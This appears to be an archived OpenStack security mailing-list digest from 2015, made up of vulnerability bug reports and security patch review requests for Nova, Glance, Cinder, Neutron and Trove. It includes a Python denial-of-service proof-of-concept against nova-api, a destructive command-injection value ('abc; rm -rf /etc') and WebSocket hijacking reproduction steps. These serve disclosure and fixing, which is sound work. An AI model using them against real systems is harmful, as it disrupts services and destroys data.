('v2', 'GET'): re.compile(r'^/v2/images/([^\/]+)/file$'), ('v2', 'DELETE'): re.compile(r'^/v2/images/([^\/]+)$') } ... @staticmethod def _match_request(request): """Determine the version of the url and extract the image id :returns tuple of version and image id if the url is a cacheable, otherwise None """ for ((version, method), pattern) in PATTERNS.items(): match = pattern.match(request.path_info) try: assert request.method == method <--- #2 image_id = match.group(1) # Ensure the image id we got looks like an image id to filter # out a URI like /images/detail. See LP Bug #879136 assert image_id != 'detail' except (AttributeError, AssertionError): continue else: return (version, method, image_id) As stated in the Python documentation assert statements will not be evaluated when the Python code is compiled with optimization flags. This means that these checks will not be properly executed and one can in that case call a specific method with a completely different HTTP verb. This can result in security issues. For example think of having some filtering in place in front of the glance API to maybe allow only certain API queries to come from certain IP addresses. For example: 'the HTTP verb DELETE may only be executed from this IP range'. An attacker can now specify a completely different HTTP verb such as GET and make sure he still matches regular expressions at #1 and then bypass the firewall. It's a bit of a hypothetical scenario but in general one should never ever do error checking with assert statemetns. This should only be done for things which can never realistically fail and that is simply not an assumption one can hold when it comes to untrusted input from the network. For more information see https://docs.python.org/2/reference/simple_stmts.html#the-assert-statement and https://docs.python.org/2/using/cmdline.html#envvar-PYTHONOPTIMIZE This seems to be related to https://bugs.launchpad.net/cinder/+bug/1199354 but it's not fixed and maybe it should even be a security issue hence why I reported it again and tagged as a security vulnerability. I am not familiar enough with the code base to make that call. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1414532/+subscriptions From thierry.carrez+lp at gmail.com Thu Mar 19 19:25:17 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 19:25:17 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150319192522.17051.12199.launchpad@gac.canonical.com> ** Changed in: glance Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From thierry.carrez+lp at gmail.com Thu Mar 19 19:25:36 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 19:25:36 -0000 Subject: [Openstack-security] [Bug 1348416] Re: Popen with shell=True References: <20140724231826.32391.31334.malonedeb@chaenomeles.canonical.com> Message-ID: <20150319192538.16985.75100.launchpad@gac.canonical.com> ** Changed in: glance Status: Fix Committed => Fix Released ** Changed in: glance Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1348416 Title: Popen with shell=True Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in OpenStack Security Advisories: Won't Fix Bug description: Glance uses subprocess.Popen with shell=True in glance/tests/unit/test_migrations.py line 175 in function _reset_datases: def execute_cmd(cmd=None): proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) If execute_cmd contains, either accidentally or maliciously, a double quote then arbitrary data will be executed. Popen should be called with an argument list instead of directly through the shell. For more information on subprocess, shell=True and command injection see: https://docs.python.org/2/library/subprocess.html#frequently-used- arguments Since these are unit tests and the likelihood of malicious input is low the severity should also be low. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1348416/+subscriptions From gerrit2 at review.openstack.org Thu Mar 19 23:08:33 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 23:08:33 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141130 Log: commit a5ace7ef61317b21c154e98cf1302db3a61d79c9 Author: Édouard Thuleau Date: Tue Feb 10 13:43:34 2015 +1300 ARP spoofing patch: Low level ebtables integration ARP cache poisoning is not actually prevented by the firewall driver 'iptables_firewall'. We are adding the use of the ebtables command - with a corresponding ebtables-driver - in order to create Ethernet frame filtering rules, which prevent the sending of ARP cache poisoning frames. The complete patch is broken into a set of smaller patches for easier review. This patch here is th first of the series and includes the low-level ebtables integration, unit and functional tests. Note: This commit is based greatly on an original, now abandoned patch, presented for review here: https://review.openstack.org/#/c/70067/ Full spec can be found here: https://review.openstack.org/#/c/129090/ SecurityImpact Change-Id: I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Implements: blueprint arp-spoof-patch-ebtables Related-Bug: 1274034 Co-Authored-By: jbrendel From gerrit2 at review.openstack.org Thu Mar 19 23:08:40 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 23:08:40 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I3c66e92cbe8883dcad843ad243388def3a96dbe5 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/157097 Log: commit 990eb353db8afc383fd0826fa1d2121986f1b01e Author: Juergen Brendel Date: Thu Feb 26 13:51:04 2015 +1300 ARP spoofing patch: Data structures for rules. ARP cache poisoning is not actually prevented by the firewall driver 'iptables_firewall'. We are adding the use of the ebtables command - with a corresponding ebtables-driver - in order to create Ethernet frame filtering rules, which prevent the sending of ARP cache poisoning frames. The complete patch is broken into smaller patch sets for easier review. This patch set here includes the some classes for the maintenance of ebtable chains and rules. Note: This commit is based greatly on an original, now abandoned patch, presented for review here: https://review.openstack.org/#/c/70067/ Full spec can be found here: https://review.openstack.org/#/c/129090/ SecurityImpact Change-Id: I3c66e92cbe8883dcad843ad243388def3a96dbe5 Implements: blueprint arp-spoof-patch-ebtables Related-Bug: 1274034 Co-Authored-By: jbrendel From gerrit2 at review.openstack.org Fri Mar 20 01:43:42 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 20 Mar 2015 01:43:42 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change Ic115eeb59cbacdafb85296d435322ea8b8cc99d6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/157634 Log: commit e5423e9379bbdc3883b7f9017da3ad95d68ee3bb Author: Juergen Brendel Date: Fri Mar 20 14:40:35 2015 +1300 ARP spoofing patch: Ebtables manager ARP cache poisoning is not actually prevented by the firewall driver 'iptables_firewall'. We are adding the use of the ebtables command - with a corresponding ebtables-driver - in order to create Ethernet frame filtering rules, which prevent the sending of ARP cache poisoning frames. The complete patch is broken into smaller patch sets for easier review. This patch set here includes the ebtables manager class. Note: This commit is based greatly on an original, now abandoned patch, presented for review here: https://review.openstack.org/#/c/70067/ Full spec can be found here: https://review.openstack.org/#/c/129090/ SecurityImpact Change-Id: Ic115eeb59cbacdafb85296d435322ea8b8cc99d6 Implements: blueprint arp-spoof-patch-ebtables Related-Bug: 1274034 Co-Authored-By: jbrendel From thierry.carrez+lp at gmail.com Fri Mar 20 07:37:22 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Fri, 20 Mar 2015 07:37:22 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150320073724.17152.77666.launchpad@gac.canonical.com> ** Changed in: nova Status: Fix Committed => Fix Released ** Changed in: nova Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: Fix Released Status in OpenStack Compute (nova) juno series: Fix Committed Status in OpenStack Security Advisories: Fix Released Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From thierry.carrez+lp at gmail.com Fri Mar 20 07:59:33 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Fri, 20 Mar 2015 07:59:33 -0000 Subject: [Openstack-security] [Bug 1372635] Re: MITM vulnerability with EMC VMAX driver References: <20140922201512.25143.9622.malonedeb@soybean.canonical.com> Message-ID: <20150320075935.22775.11414.launchpad@chaenomeles.canonical.com> ** Changed in: cinder Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1372635 Title: MITM vulnerability with EMC VMAX driver Status in Cinder: Fix Released Status in Cinder icehouse series: New Status in Cinder juno series: New Status in OpenStack Security Advisories: Won't Fix Bug description: The EMC VMAX driver in Juno appears to blindly trust whatever certificate it gets back from the device without any validation (it does not specify the ca_certs parameter, etc. on WBEMConnection.__init__). This would leave it open to a MITM attack. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1372635/+subscriptions From gerrit2 at review.openstack.org Fri Mar 20 15:59:37 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 20 Mar 2015 15:59:37 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change Ie03f73cd07561f3ae7dcdbf97087b7a8e02417d1 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/166279 Log: commit 961d8ccd8e5ee1ddeb32ef9d84faeed694ec937e Author: Ken Chen Date: Fri Mar 20 23:17:25 2015 +0800 Generate random password for CM admin user We use uuid to create and apply a random password for CM admin user. SecurityImpact Closes-Bug: #1429989 Change-Id: Ie03f73cd07561f3ae7dcdbf97087b7a8e02417d1 From 1427228 at bugs.launchpad.net Fri Mar 20 19:39:32 2015 From: 1427228 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 20 Mar 2015 19:39:32 -0000 Subject: [Openstack-security] [Bug 1427228] Related fix proposed to neutron (master) References: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Message-ID: <20150320193932.14629.9094.malone@wampee.canonical.com> Related fix proposed to branch: master Review: https://review.openstack.org/166353 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1427228 Title: Allow to run neutron-ns-metadata-proxy as nobody Status in OpenStack Neutron (virtual network service): In Progress Bug description: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1427228/+subscriptions From 1409142 at bugs.launchpad.net Mon Mar 23 08:00:03 2015 From: 1409142 at bugs.launchpad.net (Yukihiro KAWADA) Date: Mon, 23 Mar 2015 08:00:03 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150323080003.23090.6577.malone@chaenomeles.canonical.com> Is this patch valid for console_type = 'serial'? novaconsole kwd_vm_123 this cli fails. origin:http expected:ws -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: Fix Released Status in OpenStack Compute (nova) juno series: Fix Committed Status in OpenStack Security Advisories: Fix Released Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From thierry.carrez+lp at gmail.com Mon Mar 23 15:25:09 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Mon, 23 Mar 2015 15:25:09 -0000 Subject: [Openstack-security] [Bug 1432003] Re: Files in Scality driver are created world readable/writable References: <20150313184619.24823.64007.malonedeb@chaenomeles.canonical.com> Message-ID: <20150323152510.22988.2612.launchpad@chaenomeles.canonical.com> ** Tags added: security ** Changed in: ossa Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1432003 Title: Files in Scality driver are created world readable/writable Status in Cinder: New Status in OpenStack Security Advisories: Won't Fix Bug description: On this line in the Scality driver: https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/scality.py#L124 files which are created by the utility function are set to word readable and writable. This function is utilized in the following cases: - volume creation: https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/scality.py#L156 - snapshot creation: https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/scality.py#L178 - volume extension: https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/scality.py#L289 While it's possible that these files are supposed to be created in a directory which is protected, files should always be restricted according to the principle of least privilege. If these files are created in a directory without restricted permissions, any user on the system can tamper with these volumes and snapshots. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1432003/+subscriptions From thierry.carrez+lp at gmail.com Mon Mar 23 15:25:30 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Mon, 23 Mar 2015 15:25:30 -0000 Subject: [Openstack-security] [Bug 1432901] Re: solidfire driver ignores certificates References: <20150317005258.24724.63644.malonedeb@chaenomeles.canonical.com> Message-ID: <20150323152531.22511.32489.launchpad@chaenomeles.canonical.com> *** This bug is a duplicate of bug 1188189 *** https://bugs.launchpad.net/bugs/1188189 ** Information type changed from Private Security to Public ** Tags added: security ** This bug has been marked a duplicate of bug 1188189 Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1432901 Title: solidfire driver ignores certificates Status in Cinder: New Status in OpenStack Security Advisories: Incomplete Bug description: The solidfire driver passes verify=False when initiating an https connection. This in effect bypasses any certificate verification and allows the user to be vulnerable to a man-in-the-middle attack. Certificates should always be trusted before passing credentials. To support cases with self-signed certificates, typically an option to ignore errors is exposed in a config file (cinder.conf). https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/solidfire.py#L198 req = requests.post(url, data=json.dumps(payload), auth=(endpoint['login'], endpoint['passwd']), verify=False, timeout=30) To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1432901/+subscriptions From 1188189 at bugs.launchpad.net Mon Mar 23 16:42:48 2015 From: 1188189 at bugs.launchpad.net (John Griffith) Date: Mon, 23 Mar 2015 16:42:48 -0000 Subject: [Openstack-security] [Bug 1188189] Re: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) References: <20130606134102.14097.28030.malonedeb@soybean.canonical.com> Message-ID: <20150323164248.23258.37035.malone@chaenomeles.canonical.com> @Jeremy I'll look at making the switch, frankly the overwhelming response I had received from the field was that is was a "don't care", that being said it's certainly a supported capability that I can adjust. Even if I make it an option that for now defaults to False I think it at least addresses the heart of the matter here. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1188189 Title: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) Status in Cinder: In Progress Status in OpenStack Identity (Keystone): Fix Released Status in OpenStack Neutron (virtual network service): In Progress Status in Oslo VMware library for OpenStack projects: Fix Released Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Status in Python client library for Keystone: Fix Released Status in OpenStack Object Storage (Swift): Invalid Bug description: Grant Murphy from Red Hat reported usage of httplib.HTTPSConnection objects. In Python 2.x those do not perform CA checks so client connections are vulnerable to MiM attacks. """ The following files use httplib.HTTPSConnection : keystone/middleware/s3_token.py keystone/middleware/ec2_token.py keystone/common/bufferedhttp.py vendor/python-keystoneclient-master/keystoneclient/middleware/auth_token.py AFAICT HTTPSConnection does not validate server certificates and should be avoided. This is fixed in Python 3, however in 2.X no validation occurs. I suspect this is also applicable to most OpenStack modules that make HTTPS client calls. Similar problems were found in ovirt: https://bugzilla.redhat.com/show_bug.cgi?id=851672 (CVE-2012-3533) With solutions for ovirt: http://gerrit.ovirt.org/#/c/7209/ http://gerrit.ovirt.org/#/c/7249/ """ To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1188189/+subscriptions From fungi at yuggoth.org Mon Mar 23 21:46:05 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Mon, 23 Mar 2015 21:46:05 -0000 Subject: [Openstack-security] [Bug 1434545] Re: Several command injection vulnerabilities in guestagent/pkg References: <20150320131103.23017.37206.malonedeb@chaenomeles.canonical.com> Message-ID: <20150323214605.25980.48503.launchpad@gac.canonical.com> ** Information type changed from Public Security to Public ** Tags added: security ** Changed in: ossa Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1434545 Title: Several command injection vulnerabilities in guestagent/pkg Status in OpenStack Security Advisories: Won't Fix Status in Openstack Database (Trove): Triaged Bug description: At several places in the file guestagent/pkg.py, there are shell injection vulnerabilities: https://github.com/openstack/trove/blob/master/trove/guestagent/pkg.py#L209 In this line, the cmd_list is being built parameterized, but then it is just combined into one big string and called directly on a shell through the command getstatusoutput, which does a popen. If package name is set maliciously, the command will execute arbitrary code with the privilege of the trove process. The same is true on this line, https://github.com/openstack/trove/blob/master/trove/guestagent/pkg.py#L258 , where a package named something like "abc; rm -rf /etc" will cause all files in /etc which Trove has permissions for, to be deleted. Again, on this line: https://github.com/openstack/trove/blob/master/trove/guestagent/pkg.py#L371 , a malicious package name will cause arbitrary code injection with the privileges of the Trove process. I'm not nearly familiar enough with the Trove code and uses to know all the ways that package names for this code can be set, but these commands should be parameterized. Finally, os.popen is a deprecated function. The subprocess module should be used instead. To manage notifications about this bug go to: https://bugs.launchpad.net/ossa/+bug/1434545/+subscriptions From 1188189 at bugs.launchpad.net Tue Mar 24 08:10:42 2015 From: 1188189 at bugs.launchpad.net (Robert Clark) Date: Tue, 24 Mar 2015 08:10:42 -0000 Subject: [Openstack-security] [Bug 1188189] Re: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) References: <20130606134102.14097.28030.malonedeb@soybean.canonical.com> Message-ID: <20150324081042.8217.50457.malone@soybean.canonical.com> It's sad that we can't have something more secure by default. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1188189 Title: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) Status in Cinder: In Progress Status in OpenStack Identity (Keystone): Fix Released Status in OpenStack Neutron (virtual network service): In Progress Status in Oslo VMware library for OpenStack projects: Fix Released Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Status in Python client library for Keystone: Fix Released Status in OpenStack Object Storage (Swift): Invalid Bug description: Grant Murphy from Red Hat reported usage of httplib.HTTPSConnection objects. In Python 2.x those do not perform CA checks so client connections are vulnerable to MiM attacks. """ The following files use httplib.HTTPSConnection : keystone/middleware/s3_token.py keystone/middleware/ec2_token.py keystone/common/bufferedhttp.py vendor/python-keystoneclient-master/keystoneclient/middleware/auth_token.py AFAICT HTTPSConnection does not validate server certificates and should be avoided. This is fixed in Python 3, however in 2.X no validation occurs. I suspect this is also applicable to most OpenStack modules that make HTTPS client calls. Similar problems were found in ovirt: https://bugzilla.redhat.com/show_bug.cgi?id=851672 (CVE-2012-3533) With solutions for ovirt: http://gerrit.ovirt.org/#/c/7209/ http://gerrit.ovirt.org/#/c/7249/ """ To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1188189/+subscriptions From fungi at yuggoth.org Tue Mar 24 12:54:41 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Tue, 24 Mar 2015 12:54:41 -0000 Subject: [Openstack-security] [Bug 1188189] Re: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) References: <20130606134102.14097.28030.malonedeb@soybean.canonical.com> Message-ID: <20150324125441.7976.91778.malone@soybean.canonical.com> While I agree that secure defaults are preferable, even if only to provide a good example to operators and prove that we as a project are doing all we can to keep them and their users safe, from what I've seen in the field most will be disinterested in running a CA or purchasing and tracking certificates for the various bits of hardware to which these drivers are communicating. The additional complexity and liability of spontaneous breakage from certificate expiration often outweighs concerns over attacks by malicious entities infiltrating an isolated management network in ways which internal server-to-server and driver-to-hardware HTTPS might mitigate. I appreciate the degree to which our developers already make security a priority in our software, and recognize that sometimes user demands for other fixes and features pragmatically outweigh some particular security improvements in the absence of specific developers focused on driving and implementing the latter. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1188189 Title: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) Status in Cinder: In Progress Status in OpenStack Identity (Keystone): Fix Released Status in OpenStack Neutron (virtual network service): In Progress Status in Oslo VMware library for OpenStack projects: Fix Released Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Status in Python client library for Keystone: Fix Released Status in OpenStack Object Storage (Swift): Invalid Bug description: Grant Murphy from Red Hat reported usage of httplib.HTTPSConnection objects. In Python 2.x those do not perform CA checks so client connections are vulnerable to MiM attacks. """ The following files use httplib.HTTPSConnection : keystone/middleware/s3_token.py keystone/middleware/ec2_token.py keystone/common/bufferedhttp.py vendor/python-keystoneclient-master/keystoneclient/middleware/auth_token.py AFAICT HTTPSConnection does not validate server certificates and should be avoided. This is fixed in Python 3, however in 2.X no validation occurs. I suspect this is also applicable to most OpenStack modules that make HTTPS client calls. Similar problems were found in ovirt: https://bugzilla.redhat.com/show_bug.cgi?id=851672 (CVE-2012-3533) With solutions for ovirt: http://gerrit.ovirt.org/#/c/7209/ http://gerrit.ovirt.org/#/c/7249/ """ To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1188189/+subscriptions From 1416314 at bugs.launchpad.net Wed Mar 25 12:36:41 2015 From: 1416314 at bugs.launchpad.net (Xing Yang) Date: Wed, 25 Mar 2015 12:36:41 -0000 Subject: [Openstack-security] [Bug 1416314] Re: BUG : when live-migration failed, lun-id couldn't be rollback References: <20150130090750.712.84034.malonedeb@chaenomeles.canonical.com> Message-ID: <20150325123641.23688.95919.malone@wampee.canonical.com> Rob, This was assigned to NetApp. Is anyone from NetApp looking into this? Thanks. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1416314 Title: BUG : when live-migration failed, lun-id couldn't be rollback Status in Cinder: In Progress Bug description: Hi, guys I'm testing live-migration with openstack Juno. when live-migrate failed with error, lun-id of connection_info in bdm table couldn't be rollback my test version is following : Openstack Version : Juno ( 2014.2.1) Compute Node OS : 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 backend storage : EMC VNX 5400 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 2 cinder volumes (vol01, vol02) 4) attach 2 volumes to vm01 (vdb, vdc) 5) host#2's iscsi interface down - this situation can be occurred frequently in production 6) live-migrate vm01 from host#1 to host#2 7) live-migrate fails - please check connection_info(lun-id) of bdm at this time then you can find the lun-id of cinder-volume is not be rollback - please check lun's storage_group by using unisphere then you can 